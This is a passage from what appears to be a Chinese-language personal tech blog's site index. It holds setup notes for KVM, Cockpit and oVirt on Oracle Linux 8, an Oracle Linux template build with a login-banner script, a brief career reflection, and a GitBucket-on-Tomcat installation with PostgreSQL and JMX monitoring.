ibpb stibp tpr_shadow flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt intel_pt xsaveopt xsavec xgetbv1 xsaves dtherm arat pln pts hwp hwp_notify hwp_act_window hwp_epp vnmi md_clear flush_l1d vmx flags\t: vnmi preemption_timer invvpid ept_x_only ept_ad ept_1gb flexpriority tsc_offset vtpr mtf vapic ept vpid unrestricted_guest ple shadow_vmcs pml ept_mode_based_exec 檢查載入的 KVM 模組 使用下列指令檢查有載入KVM模組\n1 lsmod |grep kvm 以下為 AMD CPU 檢查結果\n1 2 3 4 5 $ lsmod |grep kvm kvm_amd 180224 0 kvm 1142784 1 kvm_amd irqbypass 16384 1 kvm ccp 131072 1 kvm_amd 以下為 Intel CPU 檢查結果\n1 2 3 4 $ lsmod |grep kvm kvm_intel 393216 0 kvm 1142784 1 kvm_intel irqbypass 16384 1 kvm 以下為建議處理事項 請參閱: [build-template-oracle-linux-8]\n額外建議安裝軟體 1 2 sudo dnf install epel-release sudo dnf install bind-utils nc tmux tree nmon 安裝 iSCIC # 安裝 KVM # 1. 安裝並啟動 KVM # 安裝主機: pollochang-kvm-01\n1 2 3 4 5 6 7 8 9 sudo dnf install oraclelinux-release-el8 # sudo dnf config-manager --enable ol8_kvm_appstream sudo dnf update # 安裝與 Oracle Linux 虛擬化模組相關的軟體套裝程式。 sudo dnf group install \u0026#34;Virtualization Host\u0026#34; # 安裝 virt-install 和 virt-viewer，如果規劃使用最小安裝，則可以不用安裝 GUI 介面， sudo dnf install qemu-kvm virt-install -y # 驗證主機機器已就緒，並設定為執行 libvirt VM virt-host-validate 輸出範例\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 [oracle@ol-node01 ~]$ virt-host-validate QEMU: Checking for hardware virtualization : PASS QEMU: Checking if device /dev/kvm exists : PASS QEMU: Checking if device /dev/kvm is accessible : PASS QEMU: Checking if device /dev/vhost-net exists : PASS QEMU: Checking if device /dev/net/tun exists : PASS QEMU: Checking for cgroup \u0026#39;cpu\u0026#39; controller support : PASS QEMU: Checking for cgroup \u0026#39;cpuacct\u0026#39; controller support : PASS QEMU: Checking for cgroup \u0026#39;cpuset\u0026#39; controller support : PASS QEMU: Checking for cgroup \u0026#39;memory\u0026#39; controller support : PASS QEMU: Checking for cgroup \u0026#39;devices\u0026#39; controller support : PASS QEMU: Checking for cgroup \u0026#39;blkio\u0026#39; controller support : PASS QEMU: Checking for device assignment IOMMU support : WARN (No ACPI DMAR table found, IOMMU either disabled in BIOS or not supported by this hardware platform) QEMU: Checking for secure guest support : WARN (Unknown if this platform has Secure Guest support) 啟動 libvirtd 常駐程式，並啟用該常駐程式在每次啟動時自動啟動。然後檢查其狀態以確認其已啟動並在執行中。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 sudo systemctl enable --now libvirtd.service sudo systemctl status libvirtd.service for drv in qemu network nodedev nwfilter secret storage interface; do sudo systemctl enable virt${drv}d.service sudo systemctl enable virt${drv}d{,-ro,-admin}.socket; sudo systemctl start virt${drv}d{,-ro,-admin}.socket; done sudo systemctl enable --now virtproxyd.service virtproxyd-tls.socket sudo systemctl stop virtproxyd-tls.socket sudo systemctl restart virtproxyd-tls.socket sudo systemctl list-units --type=socket virt* 2. 設定 Cockpit Web 主控台來管理 Oracle Linux 上的 KVM # 安裝並設定啟動 1 2 3 sudo dnf install cockpit cockpit-machines -y sudo systemctl enable --now cockpit.socket sudo systemctl status cockpit.socket 設定防火牆 1 2 sudo firewall-cmd --add-service=cockpit --permanent sudo firewall-cmd --reload 打開瀏覽器: https://172.30.1.3:9090/\nOracle Linux Virtualization Manager # 安裝\n1 2 3 4 5 sudo yum update -y dnf config-manager --enable ol8_baseos_latest dnf install oracle-ovirt-release-45-el8 dnf install kernel-uek-modules-extra # running UEK R7 需要 dnf install ovirt-engine 初始化設定\n1 engine-setup /etc/ovirt-engine/engine.conf.d/99-custom-sso-setup.conf 1 SSO_ALTERNATE_ENGINE_FQDNS=\u0026#34;ovirt-020.kvm-host.home.pollochang.work ovirt-020 172.30.1.20\u0026#34; 1 systemctl restart ovirt-engine 管理員帳號: admin@ovirt\n遇到問題處理 # /var/log/ovirt-engine/engine.log 參考資料 # 使用 Oracle Linux 上的 KVM 建立 VM Hardware Certification List Oracle Linux and Oracle Virtualization Oracle Linux Virtualization Manager ","date":"October 8, 2025","externalUrl":null,"permalink":"/worknot/deploy-kvm-on-oracle-linux/","section":"Worknots","summary":"KVM 主機架構 # pollochang-ovirt hostname: ovirt-020 FQDN: ovirt-020.kvm-host.home.pollochang.work IP: 172.30.1.20/24 CPU: 2 vCore RAM: 8 G Disk: 50 G pollochang-kvm-003 用途: AP hostname: pollochang-kvm-003 FQDN: pollochang-kvm-003.kvm-host.home.pollochang.work IP: 172.30.1.3/24 pollochang-kvm-004 用途: AP hostname: pollochang-kvm-004 FQDN: pollochang-kvm-004.kvm-host.home.pollochang.work IP: 172.30.1.4/24 安裝前置作業 # 透過文件取得軟體相容性 透過下表可以得知，OLVM 當前僅支援 Oracle Linux 8，為了日後維護的方便，因此在此次實現我挑選Oracle Linux 8.10\n","title":"Deploy KVM on Oracle Linux 8","type":"worknot"},{"content":"","date":"October 8, 2025","externalUrl":null,"permalink":"/tags/kvm/","section":"Tags","summary":"","title":"KVM","type":"tags"},{"content":"","date":"October 8, 2025","externalUrl":null,"permalink":"/categories/unix/","section":"Categories","summary":"","title":"Unix","type":"categories"},{"content":"Oracle Linux 8 範本建置紀錄\n通用設定 # 建置前置作業 # 更新作業系統 1 sudo dnf update -y 安裝常用的軟體 這部份可以依據實際狀況處理\n1 2 3 4 sudo dnf install epel-release # OL7 sudo yum install -y oracle-7 sudo dnf install -y vim nmon 如果是虛擬機複製，請更新 host keys 1 2 3 4 5 6 sudo rm -f /etc/ssh/ssh_host_* \u0026amp;\u0026amp;\\ sudo ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key \u0026amp;\u0026amp;\\ sudo ssh-keygen -t ecdsa -f /etc/ssh/ssh_host_ecdsa_key \u0026amp;\u0026amp;\\ sudo ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key sudo sshd -t sudo systemctl restart sshd 設定殼層 # 系統登入訊息: /etc/profile.d/ssh-login-info.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 #!/bin/sh # Script Name: /etc/profile.d/ssh-login-info.sh # Version: 1.0 # Author: PolloChang # Date: 2025-10-07 # Description: ssh login banner # Modified: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin shopt -q login_shell \u0026amp;\u0026amp; : || return 0 # os upSeconds=\u0026#34;$(cut -d. -f1 /proc/uptime)\u0026#34; secs=$((${upSeconds}%60)) mins=$((${upSeconds}/60%60)) hours=$((${upSeconds}/3600%24)) days=$((${upSeconds}/86400)) UPTIME_INFO=$(printf \u0026#34;%d days, %02dh %02dm %02ds\u0026#34; \u0026#34;$days\u0026#34; \u0026#34;$hours\u0026#34; \u0026#34;$mins\u0026#34; \u0026#34;$secs\u0026#34;) if [ -f /etc/oracle-release ] ; then PRETTY_NAME=$(\u0026lt; /etc/oracle-release) elif [ -f /etc/redhat-release ] ; then PRETTY_NAME=$(\u0026lt; /etc/redhat-release) elif [ -f /etc/debian_version ]; then DIST_VER=$(\u0026lt;/etc/debian_version) PRETTY_NAME=\u0026#34;$(grep PRETTY_NAME /etc/os-release | sed -e \u0026#39;s/PRETTY_NAME=//g\u0026#39; -e \u0026#39;s/\u0026#34;//g\u0026#39;) ($DIST_VER)\u0026#34; else PRETTY_NAME=$(cat /etc/*-release | grep \u0026#34;PRETTY_NAME\u0026#34; | sed -e \u0026#39;s/PRETTY_NAME=//g\u0026#39; -e \u0026#39;s/\u0026#34;//g\u0026#39;) fi if [[ -d \u0026#34;/system/app/\u0026#34; \u0026amp;\u0026amp; -d \u0026#34;/system/priv-app\u0026#34; ]]; then model=\u0026#34;$(getprop ro.product.brand) $(getprop ro.product.model)\u0026#34; elif [[ -f /sys/devices/virtual/dmi/id/product_name || -f /sys/devices/virtual/dmi/id/product_version ]]; then model=\u0026#34;$(\u0026lt; /sys/devices/virtual/dmi/id/product_name)\u0026#34; model+=\u0026#34; $(\u0026lt; /sys/devices/virtual/dmi/id/product_version)\u0026#34; elif [[ -f /sys/firmware/devicetree/base/model ]]; then model=\u0026#34;$(\u0026lt; /sys/firmware/devicetree/base/model)\u0026#34; elif [[ -f /tmp/sysinfo/model ]]; then model=\u0026#34;$(\u0026lt; /tmp/sysinfo/model)\u0026#34; fi MODEL_INFO=${model} KERNEL=$(uname -srmo) USER_NUM=$(who -u | wc -l) RUNNING=$(ps ax | wc -l | tr -d \u0026#34; \u0026#34;) # disk totaldisk=$(df -h -x devtmpfs -x tmpfs -x debugfs -x aufs -x overlay --total 2\u0026gt;/dev/null | tail -1) disktotal=$(awk \u0026#39;{print $2}\u0026#39; \u0026lt;\u0026lt;\u0026lt; \u0026#34;${totaldisk}\u0026#34;) diskused=$(awk \u0026#39;{print $3}\u0026#39; \u0026lt;\u0026lt;\u0026lt; \u0026#34;${totaldisk}\u0026#34;) diskusedper=$(awk \u0026#39;{print $5}\u0026#39; \u0026lt;\u0026lt;\u0026lt; \u0026#34;${totaldisk}\u0026#34;) DISK_INFO=\u0026#34;\\033[0;33m${diskused}\\033[0m of \\033[1;34m${disktotal}\\033[0m disk space used (\\033[0;33m${diskusedper}\\033[0m)\u0026#34; # cpu cpu=$(awk -F\u0026#39;:\u0026#39; \u0026#39;/^model name/ {print $2}\u0026#39; /proc/cpuinfo | uniq | sed -e \u0026#39;s/^[ \\t]*//\u0026#39;) cpun=$(grep -c \u0026#39;^processor\u0026#39; /proc/cpuinfo) cpuc=$(grep \u0026#39;^cpu cores\u0026#39; /proc/cpuinfo | tail -1 | awk \u0026#39;{print $4}\u0026#39;) cpup=$(grep \u0026#39;^physical id\u0026#39; /proc/cpuinfo | wc -l) CPU_INFO=\u0026#34;${cpu} ${cpup}P ${cpuc}C ${cpun}L\u0026#34; # get the load averages read one five fifteen rest \u0026lt; /proc/loadavg LOADAVG_INFO=\u0026#34;\\033[0;33m${one}\\033[0m / ${five} / ${fifteen} with \\033[1;34m$(( cpun*cpuc ))\\033[0m core(s) at \\033[1;34m$(grep \u0026#39;^cpu MHz\u0026#39; /proc/cpuinfo | tail -1 | awk \u0026#39;{print $4}\u0026#39;)\\033 MHz\u0026#34; # mem MEM_INFO=\u0026#34;$(cat /proc/meminfo | awk \u0026#39;/MemTotal:/{total=$2/1024/1024;next} /MemAvailable:/{use=total-$2/1024/1024; printf(\u0026#34;\\033[0;33m%.2fGiB\\033[0m of \\033[1;34m%.2fGiB\\033[0m RAM used (\\033[0;33m%.2f%%\\033[0m)\u0026#34;,use,total,(use/total)*100);}\u0026#39;)\u0026#34; # network # extranet_ip=\u0026#34; and $(curl -s ip.cip.cc)\u0026#34; IP_INFO=\u0026#34;$(ip a | grep glo | awk \u0026#39;{print $2}\u0026#39; | head -1 | cut -f1 -d/)${extranet_ip:-}\u0026#34; # user login user=$(whoami) path=$(pwd) home=$HOME # * Calculate last login LASTLOGS=$(last -i -d -n 4 -w 2\u0026gt;/dev/null) # 減少 -n 參數，只需要取得前 4 筆 LASTLOG1=$(echo \u0026#34;${LASTLOGS}\u0026#34; | head -1) LASTLOG2=$(echo \u0026#34;${LASTLOGS}\u0026#34; | head -2 | tail -1) LASTLOG3=$(echo \u0026#34;${LASTLOGS}\u0026#34; | head -3 | tail -1) LASTLOG4=$(echo \u0026#34;${LASTLOGS}\u0026#34; | head -4 | tail -1) # info echo -e \u0026#34; Information as of: \\033[1;34m$(date +\u0026#34;%Y-%m-%d %T\u0026#34;)\\033[0m \\033[0;1;31mProduct\\033[0m............: ${MODEL_INFO} \\033[0;1;31mOS\\033[0m.................: ${PRETTY_NAME} \\033[0;1;31mKernel\\033[0m.............: ${KERNEL} \\033[0;1;31mCPU\\033[0m................: ${CPU_INFO} \\033[0;1;31mHostname\\033[0m...........: \\033[1;34m$(hostname)\\033[0m \\033[0;1;31mIP Addresses\\033[0m.......: \\033[1;34m${IP_INFO}\\033[0m \\033[0;1;31mUptime\\033[0m.............: \\033[0;33m${UPTIME_INFO}\\033[0m \\033[0;1;31mMemory\\033[0m.............: ${MEM_INFO} \\033[0;1;31mLoad Averages\\033[0m......: ${LOADAVG_INFO} \\033[0;1;31mDisk Usage\\033[0m.........: ${DISK_INFO} \\033[0;1;31mUsers online\\033[0m.......: \\033[1;34m${USER_NUM}\\033[0m \\033[0;1;31mRunning Processes\\033[0m..: \\033[1;34m${RUNNING}\\033[0m \\033[0;1;31mlastlog1\\033[0m...........: ${LASTLOG1} \\033[0;1;31mlastlog2\\033[0m...........: ${LASTLOG2} \\033[0;1;31mlastlog3\\033[0m...........: ${LASTLOG3} \\033[0;1;31mlastlog4\\033[0m...........: ${LASTLOG4} \\033[0;1;31mlogincount\\033[0m.........: $( users | wc -w) \u0026#34; 設定歷史紀錄 /etc/profile.d/history.sh 1 2 3 4 5 6 7 # for setting history length see HISTSIZE and HISTFILESIZE in bash(1) HISTCONTROL=ignoredups:ignorespace HISTSIZE=50000 HISTFILESIZE=50000 HISTTIMEFORMAT=\u0026#39;%F %T \u0026#39; # 確保歷史記錄在執行指令後立刻寫入文件 PROMPT_COMMAND=\u0026#34;history -a; history -c; history -r\u0026#34; ","date":"October 7, 2025","externalUrl":null,"permalink":"/worknot/build-template-oracle-linux-8/","section":"Worknots","summary":"Oracle Linux 8 範本建置紀錄\n通用設定 # 建置前置作業 # 更新作業系統 1 sudo dnf update -y 安裝常用的軟體 這部份可以依據實際狀況處理\n","title":"Build Template - Oracle Linux 8","type":"worknot"},{"content":"2024 年 09 月 30 日 我從威進離職了，在這八年五個月的職涯經有經歷痛苦的專案，也有經歷過歡樂的專案。從當初第一線的駐點工程師一路到技術後勤為主的資深工程師，這八年半中累積不少的硬實力與軟實力。同時，也感受到何謂流動知識。因為有快五年沒有寫 JAVA ，在最近的面試發現，在八年前我輕鬆寫得出的試題，現在已經如此解的吃力。但是在解系統分析時，卻可以侃侃而談。讓我迴響以前有位面試官問我：「你到底想單純寫程式多久？」，當時我天真的以為可以寫一輩子，那時我大概在職約兩年吧。後來漸漸的發現，寫程式只是解決問題的手段之一，在後面的五年我幾乎都在進行系統效能調校，找出程式中哪裡可能發生問題，更大一部份的時間是花費在整體系統架構的調整與資料庫系統。也許是時事造人，當前的軟體世界不缺乏會 Codding 的人，缺乏會動手解決問題的人、缺乏真的願意投入資料庫研究的人，因此後來我的Offer 幾乎都是 DBA 。過去在資料庫有過餐痛得經驗，當時的確親手解決了，但也造成系統癱瘓一天，因此對資料庫有點 PTSD。未來的職務內容又是 DBA ，只能說是「這就是人生呀！」。\n","date":"October 2, 2025","externalUrl":null,"permalink":"/worknot/new-life-after-work-20251001/","section":"Worknots","summary":"2024 年 09 月 30 日 我從威進離職了，在這八年五個月的職涯經有經歷痛苦的專案，也有經歷過歡樂的專案。從當初第一線的駐點工程師一路到技術後勤為主的資深工程師，這八年半中累積不少的硬實力與軟實力。同時，也感受到何謂流動知識。因為有快五年沒有寫 JAVA ，在最近的面試發現，在八年前我輕鬆寫得出的試題，現在已經如此解的吃力。但是在解系統分析時，卻可以侃侃而談。讓我迴響以前有位面試官問我：「你到底想單純寫程式多久？」，當時我天真的以為可以寫一輩子，那時我大概在職約兩年吧。後來漸漸的發現，寫程式只是解決問題的手段之一，在後面的五年我幾乎都在進行系統效能調校，找出程式中哪裡可能發生問題，更大一部份的時間是花費在整體系統架構的調整與資料庫系統。也許是時事造人，當前的軟體世界不缺乏會 Codding 的人，缺乏會動手解決問題的人、缺乏真的願意投入資料庫研究的人，因此後來我的Offer 幾乎都是 DBA 。過去在資料庫有過餐痛得經驗，當時的確親手解決了，但也造成系統癱瘓一天，因此對資料庫有點 PTSD。未來的職務內容又是 DBA ，只能說是「這就是人生呀！」。\n","title":"New Life After Work 20251001","type":"worknot"},{"content":"","date":"October 2, 2025","externalUrl":null,"permalink":"/categories/%E8%81%B7%E6%B6%AF/","section":"Categories","summary":"","title":"職涯","type":"categories"},{"content":"","date":"July 26, 2025","externalUrl":null,"permalink":"/tags/git/","section":"Tags","summary":"","title":"Git","type":"tags"},{"content":"為了能在小小的實驗室有一個 git 託管服務，經過一分思索最後決定使用 GitBucket。\n安裝紀錄 # 必要 package # 1 sudo apt -y install fontconfig fonts-dejavu-core 安裝 JRE # 1 2 3 4 5 curl -s https://api.github.com/repos/adoptium/temurin17-binaries/releases/latest | grep browser_download_url|grep jre_x64_linux| grep tar.gz\\\u0026#34; | cut -d \u0026#39;\u0026#34;\u0026#39; -f 4 | wget -i - mkdir -p /usr/local/lib/jvm sudo tar -zxf OpenJDK17U-jre_x64_linux_hotspot_17.0.16_8.tar.gz -C /usr/local/lib/jvm/ sudo ln -s /usr/local/lib/jvm/jdk-17.0.16+8-jre /usr/local/lib/jvm/java17-latest 安裝tomcat # 1 2 3 sudo useradd -M -s /sbin/nologin webapp sudo useradd --system -s /sbin/nologin tomcat sudo usermod -a -G webapp tomcat 1 2 3 4 5 6 7 8 9 export APACHE_TOMCAT_9_VERSION=9.0.106 wget -O /tmp/apache-tomcat-${APACHE_TOMCAT_9_VERSION}.tar.gz https://archive.apache.org/dist/tomcat/tomcat-9/v${APACHE_TOMCAT_9_VERSION}/bin/apache-tomcat-${APACHE_TOMCAT_9_VERSION}.tar.gz sudo tar -zxf /tmp/apache-tomcat-${APACHE_TOMCAT_9_VERSION}.tar.gz -C /usr/local/apache-tomcat sudo rm -rf /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_9_VERSION}/webapps/* sudo chown tomcat: /usr/local/apache-tomcat sudo chown -R tomcat: /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_9_VERSION} sudo chown -R root: /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_9_VERSION}/logs sudo rm -rf /usr/local/apache-tomcat/apache-tomcat-9-latest sudo ln -s /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_9_VERSION} /usr/local/apache-tomcat/apache-tomcat-9-latest 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 export APACHE_TOMCAT_10_VERSION=10.1.43 mkdir - p /usr/local/apache-tomcat wget -O /tmp/apache-tomcat-${APACHE_TOMCAT_10_VERSION}.tar.gz https://archive.apache.org/dist/tomcat/tomcat-10/v${APACHE_TOMCAT_10_VERSION}/bin/apache-tomcat-${APACHE_TOMCAT_10_VERSION}.tar.gz sudo tar -zxf /tmp/apache-tomcat-${APACHE_TOMCAT_10_VERSION}.tar.gz -C /usr/local/apache-tomcat sudo rm -rf /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_10_VERSION}/webapps/* sudo chown tomcat: /usr/local/apache-tomcat sudo chown -R tomcat: /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_10_VERSION} sudo chown -R root: /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_10_VERSION}/logs sudo rm -rf /usr/local/apache-tomcat/apache-tomcat-10-latest sudo ln -s /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_10_VERSION} /usr/local/apache-tomcat/apache-tomcat-10-latest curl -s https://api.github.com/repos/prometheus/jmx_exporter/releases/latest | grep browser_download_url | grep \u0026#39;jmx_prometheus_javaagent-.*\\.jar\u0026#39; | grep -v \u0026#39;\\.asc\\|\\.sha256\u0026#39; | cut -d \u0026#39;\u0026#34;\u0026#39; -f 4 | wget -i - rm -f /usr/local/apache-tomcat/jmx_prometheus_javaagent-*.jar rm -f /usr/local/apache-tomcat/jmx_prometheus_javaagent.jar mv jmx_prometheus_javaagent-*.jar /usr/local/apache-tomcat/ ln -s /usr/local/apache-tomcat/jmx_prometheus_javaagent-*.jar /usr/local/apache-tomcat/jmx_prometheus_javaagent.jar /usr/local/apache-tomcat/jmx-exporter.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 # https://grafana.com/grafana/dashboards/8704-tomcat-dashboard/ --- whitelistObjectNames: [\u0026#34;java.lang:type=OperatingSystem\u0026#34;, \u0026#34;Catalina:*\u0026#34;] rules: - pattern: \u0026#39;Catalina\u0026lt;type=Server\u0026gt;\u0026lt;\u0026gt;serverInfo: (.+)\u0026#39; name: tomcat_serverinfo value: 1 labels: serverInfo: \u0026#34;$1\u0026#34; type: COUNTER - pattern: \u0026#39;Catalina\u0026lt;type=GlobalRequestProcessor, name=\\\u0026#34;(\\w+-\\w+)-(\\d+)\\\u0026#34;\u0026gt;\u0026lt;\u0026gt;(\\w+):\u0026#39; name: tomcat_$3_total labels: port: \u0026#34;$2\u0026#34; protocol: \u0026#34;$1\u0026#34; help: Tomcat global $3 type: COUNTER - pattern: \u0026#39;Catalina\u0026lt;j2eeType=Servlet, WebModule=//([-a-zA-Z0-9+\u0026amp;@#/%?=~_|!:.,;]*[-a-zA-Z0-9+\u0026amp;@#/%=~_|]), name=([-a-zA-Z0-9+/$%~_-|!.]*), J2EEApplication=none, J2EEServer=none\u0026gt;\u0026lt;\u0026gt;(requestCount|processingTime|errorCount):\u0026#39; name: tomcat_servlet_$3_total labels: module: \u0026#34;$1\u0026#34; servlet: \u0026#34;$2\u0026#34; help: Tomcat servlet $3 total type: COUNTER - pattern: \u0026#39;Catalina\u0026lt;type=ThreadPool, name=\u0026#34;(\\w+-\\w+)-(\\d+)\u0026#34;\u0026gt;\u0026lt;\u0026gt;(currentThreadCount|currentThreadsBusy|keepAliveCount|connectionCount|acceptCount|acceptorThreadCount|pollerThreadCount|maxThreads|minSpareThreads):\u0026#39; name: tomcat_threadpool_$3 labels: port: \u0026#34;$2\u0026#34; protocol: \u0026#34;$1\u0026#34; help: Tomcat threadpool $3 type: GAUGE - pattern: \u0026#39;Catalina\u0026lt;type=Manager, host=([-a-zA-Z0-9+\u0026amp;@#/%?=~_|!:.,;]*[-a-zA-Z0-9+\u0026amp;@#/%=~_|]), context=([-a-zA-Z0-9+/$%~_-|!.]*)\u0026gt;\u0026lt;\u0026gt;(processingTime|sessionCounter|rejectedSessions|expiredSessions):\u0026#39; name: tomcat_session_$3_total labels: context: \u0026#34;$2\u0026#34; host: \u0026#34;$1\u0026#34; help: Tomcat session $3 total type: COUNTER - pattern: \u0026#39;.*\u0026#39; 1 chown tomcat:tomcat /usr/local/apache-tomcat/jmx_prometheus_javaagent-*.jar /usr/local/apache-tomcat/jmx-exporter.yml 設定資料庫 # gitbucket 預設資料庫是 H2，正式環境建議使用 Postgresql\n1 2 3 4 5 6 7 CREATE DATABASE gitbucket; CREATE USER gitBucket WITH PASSWORD \u0026#39;\u0026lt;EnterPWD\u0026gt;\u0026#39;; GRANT CONNECT ON DATABASE gitBucket TO gitbucket; ALTER DATABASE gitBucket OWNER TO gitBucket; \\c gitbucket GRANT ALL PRIVILEGES ON DATABASE gitBucket TO gitBucket; GRANT ALL ON SCHEMA public TO gitBucket; 安裝 gitbucket # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 curl -s https://api.github.com/repos/gitbucket/gitbucket/releases/latest | grep browser_download_url | grep war | cut -d \u0026#39;\u0026#34;\u0026#39; -f 4 | wget -qi - # 檢查檔案有損毀 echo \u0026#34;$(cat gitbucket.war.md5) gitbucket.war\u0026#34; | md5sum -c echo \u0026#34;$(cat gitbucket.war.sha1) gitbucket.war\u0026#34; | sha1sum -c echo \u0026#34;$(cat gitbucket.war.sha256) gitbucket.war\u0026#34; | sha256sum -c sudo useradd --system -s /sbin/nologin gitbucket sudo usermod -a -G tomcat gitbucket sudo usermod -a -G webapp gitbucket sudo usermod -d /usr/local/gitbucket -m gitbucket mkdir -p /usr/local/gitbucket/dump /var/log/gitbucket /usr/local/gitbucket/data mkdir -p /usr/local/gitbucket/catalina/{temp,webapps,work} cp -r /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_10_VERSION}/conf /usr/local/gitbucket/catalina/ chown -R gitbucket:gitbucket /usr/local/gitbucket /var/log/gitbucket /usr/local/gitbucket/data ln -s /var/log/gitbucket /usr/local/gitbucket/catalina/logs mkdir -p /usr/local/gitbucket/catalina/webapps/gitbucket sudo -u gitbucket unzip -q gitbucket.war -d /usr/local/gitbucket/catalina/webapps/gitbucket chown -R webapp:webapp /usr/local/gitbucket/catalina/webapps /usr/local/gitbucket/catalina/conf/server.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 \u0026lt;?xml version=\u0026#39;1.0\u0026#39; encoding=\u0026#39;utf-8\u0026#39;?\u0026gt; \u0026lt;Server port=\u0026#34;-1\u0026#34; shutdown=\u0026#34;SHUTDOWN\u0026#34;\u0026gt; \u0026lt;Listener className=\u0026#34;org.apache.catalina.core.AprLifecycleListener\u0026#34; SSLEngine=\u0026#34;on\u0026#34; /\u0026gt; \u0026lt;Listener className=\u0026#34;org.apache.catalina.core.JreMemoryLeakPreventionListener\u0026#34; /\u0026gt; \u0026lt;Listener className=\u0026#34;org.apache.catalina.mbeans.GlobalResourcesLifecycleListener\u0026#34; /\u0026gt; \u0026lt;Listener className=\u0026#34;org.apache.catalina.core.ThreadLocalLeakPreventionListener\u0026#34; /\u0026gt; \u0026lt;GlobalNamingResources\u0026gt; \u0026lt;Resource name=\u0026#34;UserDatabase\u0026#34; auth=\u0026#34;Container\u0026#34; type=\u0026#34;org.apache.catalina.UserDatabase\u0026#34; description=\u0026#34;User database that can be updated and saved\u0026#34; factory=\u0026#34;org.apache.catalina.users.MemoryUserDatabaseFactory\u0026#34; pathname=\u0026#34;conf/tomcat-users.xml\u0026#34; /\u0026gt; \u0026lt;/GlobalNamingResources\u0026gt; \u0026lt;Service name=\u0026#34;Catalina\u0026#34;\u0026gt; \u0026lt;Connector port=\u0026#34;10090\u0026#34; protocol=\u0026#34;org.apache.coyote.http11.Http11Nio2Protocol\u0026#34; maxParameterCount=\u0026#34;1000\u0026#34; connectionTimeout=\u0026#34;20000\u0026#34; URIEncoding=\u0026#34;UTF-8\u0026#34; minSpareThreads=\u0026#34;20\u0026#34; maxThreads=\u0026#34;1000\u0026#34; acceptCount=\u0026#34;200\u0026#34; disableUploadTimeout=\u0026#34;true\u0026#34; enableLookups=\u0026#34;false\u0026#34; server=\u0026#34;application server\u0026#34; xpoweredBy=false maxPartCount=\u0026#34;-1\u0026#34; /\u0026gt; \u0026lt;Engine name=\u0026#34;Catalina\u0026#34; defaultHost=\u0026#34;localhost\u0026#34;\u0026gt; \u0026lt;Realm className=\u0026#34;org.apache.catalina.realm.LockOutRealm\u0026#34;\u0026gt; \u0026lt;Realm className=\u0026#34;org.apache.catalina.realm.UserDatabaseRealm\u0026#34; resourceName=\u0026#34;UserDatabase\u0026#34;/\u0026gt; \u0026lt;/Realm\u0026gt; \u0026lt;Host name=\u0026#34;localhost\u0026#34; appBase=\u0026#34;/usr/local/gitbucket/catalina/webapps\u0026#34; unpackWARs=\u0026#34;false\u0026#34; autoDeploy=\u0026#34;false\u0026#34; reloadable=\u0026#34;false\u0026#34; \u0026gt; \u0026lt;Valve className=\u0026#34;org.apache.catalina.valves.ErrorReportValve\u0026#34; showReport=\u0026#34;false\u0026#34; showServerInfo=\u0026#34;false\u0026#34; /\u0026gt; \u0026lt;Valve className=\u0026#34;org.apache.catalina.valves.RemoteIpValve\u0026#34; internalProxies=\u0026#34;.*\u0026#34; remoteIpHeader=\u0026#34;x-forwarded-for\u0026#34; proxiesHeader=\u0026#34;x-forwarded-by\u0026#34; protocolHeader=\u0026#34;x-forwarded-proto\u0026#34; httpsServerPort=\u0026#34;443\u0026#34; /\u0026gt; \u0026lt;Valve className=\u0026#34;org.apache.catalina.valves.AccessLogValve\u0026#34; directory=\u0026#34;logs\u0026#34; prefix=\u0026#34;localhost_access_log\u0026#34; suffix=\u0026#34;.txt\u0026#34; pattern=\u0026#34;%h %l %u %t \u0026amp;quot;%r\u0026amp;quot; %s %b\u0026#34; /\u0026gt; \u0026lt;/Host\u0026gt; \u0026lt;/Engine\u0026gt; \u0026lt;/Service\u0026gt; \u0026lt;/Server\u0026gt; /usr/local/gitbucket/catalina/conf/context.xml 1 2 3 4 5 6 7 8 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;Context\u0026gt; \u0026lt;WatchedResource\u0026gt;WEB-INF/web.xml\u0026lt;/WatchedResource\u0026gt; \u0026lt;WatchedResource\u0026gt;WEB-INF/tomcat-web.xml\u0026lt;/WatchedResource\u0026gt; \u0026lt;WatchedResource\u0026gt;${catalina.base}/conf/web.xml\u0026lt;/WatchedResource\u0026gt; \u0026lt;WatchedResource\u0026gt;WEB-INF/web.xml\u0026lt;/WatchedResource\u0026gt; \u0026lt;Resources cachingAllowed=\u0026#34;false\u0026#34; /\u0026gt; \u0026lt;/Context\u0026gt; /etc/tmpfiles.d/gitbucket.conf 1 2 d /run/gitbucket 0755 